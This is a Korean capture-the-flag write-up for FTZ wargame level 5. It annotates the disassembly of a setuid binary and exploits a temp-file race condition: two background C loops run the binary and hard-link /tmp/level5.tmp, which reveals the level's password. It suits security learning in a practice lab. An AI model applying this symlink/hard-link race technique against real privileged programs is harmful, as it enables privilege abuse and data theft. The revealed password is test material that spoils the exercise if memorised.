FTZ WriteUp

Level5

 

 

이번 단계는 나는 솔직히 공략을 조금 봤다

 

공략을 보기 전까지 계속고민했다

 

결국 공략을 봤다

 

물론 공략 그대로 따라하진 않았다 보고 난 후에 내 방식대로 문제를 풀었다

 

먼저 힌트를 봤을 때 레이스컨디션이구나 라는게 단박에 떠올랐다

 

/usr/bin/level5는 소유자가 level6으로 되있어 디버깅이 안된다

그래서 level6으로 로그인 후 디버깅을 했다

 

0x0804842c <main+0>:   push   ebp                     스택 프레임

0x0804842d <main+1>:   mov    ebp,esp           8바이트 만큼 할당

0x0804842f <main+3>:    sub    esp,0x8

--------------------------------------------------------------------------------------------------------------

0x08048432 <main+6>:   and    esp,0xfffffff0

0x08048435 <main+9>:   mov    eax,0x0

0x0804843a <main+14>:  sub    esp,eax

0x0804843c <main+16>:  sub    esp,0x8

0x0804843f <main+19>:  push   0x180

0x08048444 <main+24>:  push   0x8048580                     creat(“/tmp/level5.tmp”, 384) 실행

0x08048449 <main+29>:  call   0x804832c <creat>            /tmp/level5.tmp 파일 생성

--------------------------------------------------------------------------------------------------------------

0x0804844e <main+34>:  add    esp,0x10

0x08048451 <main+37>:  mov    DWORD PTR [ebp-4],eax

0x08048454 <main+40>:  cmp    DWORD PTR [ebp-4],0x0

0x08048458 <main+44>:  jns    0x8048484 <main+88>                 변수 a가 음수 일 때

0x0804845a <main+46>:  sub    esp,0xc                          can not create a temporary file 출력

0x0804845d <main+49>:  push   0x80485a0

0x08048462 <main+54>:  call   0x804835c <printf>

0x08048467 <main+59>:  add    esp,0x10

--------------------------------------------------------------------------------------------------------------

0x0804846a <main+62>:  sub    esp,0xc

0x0804846d <main+65>:  push   0x8048580                    

0x08048472 <main+70>:  call   0x804833c <remove>         /tmp/level5.tmp 파일 삭제 후

0x08048477 <main+75>:  add    esp,0x10                                   exit 함수 실행

0x0804847a <main+78>:  sub    esp,0xc

0x0804847d <main+81>:  push   0x0

0x0804847f <main+83>:  call   0x804836c <exit>

--------------------------------------------------------------------------------------------------------------

 

0x08048484 <main+88>:  sub    esp,0x4

0x08048487 <main+91>:  push   0x1f                             변수 a가 양수 일 때

0x08048489 <main+93>:  push   0x80485e0                    0x8048484로 점프 후

0x0804848e <main+98>:  push   DWORD PTR [ebp-4]        write(“next password : what the hell”)

0x08048491 <main+101>: call   0x804830c <write>                       함수 실행

--------------------------------------------------------------------------------------------------------------

0x08048496 <main+106>: add    esp,0x10

0x08048499 <main+109>: sub    esp,0xc

0x0804849c <main+112>: push   DWORD PTR [ebp-4]

0x0804849f <main+115>: call   0x804831c <close>

0x080484a4 <main+120>: add    esp,0x10

0x080484a7 <main+123>: sub    esp,0xc

0x080484aa <main+126>: push   0x8048580                     remove(“/tmp/level5.tmp”) 실행

0x080484af <main+131>: call   0x804833c <remove>         /tmp/level5.tmp 삭제

--------------------------------------------------------------------------------------------------------------

0x080484b4 <main+136>:           add    esp,0x10

0x080484b7 <main+139>:           leave 

0x080484b8 <main+140>:           ret   

0x080484b9 <main+141>:           nop   

0x080484ba <main+142>:           nop   

0x080484bb <main+143>:           nop

 

프로그램 구동 방식은 이렇다

프로그램을 실행하면 creat 함수를 실행해 파일을 생성하고

무엇인진 모르겠지만 파일을 검사하고 리턴값이 양수이면 write, 음수면 can not create a temporary file를 출력한다

그리고 다시한번 파일을 지운다

 

파일을 지우기 전에 링크를 걸어야 한다

 

다음과 같은 코드를 짜봤다

#include <stdio.h>

 

void main(){

        while(1){

                system("/usr/bin/level5");

        }

}

 

#include <stdio.h>

 

int main(){

        while(1){

        system("ln /tmp/level5.tmp ./test");

        }

}

 

그리고 파일을 보기 위해 cat test를 만들어 둔다

 

[level5@ftz tmp]$ cat > test

 

[2]+  Stopped                 cat >test

 

그리고 다음 두 프로그램을 백그라운드로 실행한다

 

[level5@ftz tmp]$ ./exploit &

[1] 23141

[level5@ftz tmp]$ ./link &

 

그럼 ln: `./test': 파일이 존재합니다

라고 뜨며 test파일을 보면

다음과 같은 결과가 나온다

[level5@ftz tmp]$ cat test

next password : what the hell

 

이로써 lvel5 를 클리어했다

Phantom@TeamH4C

댓글

댓글 본문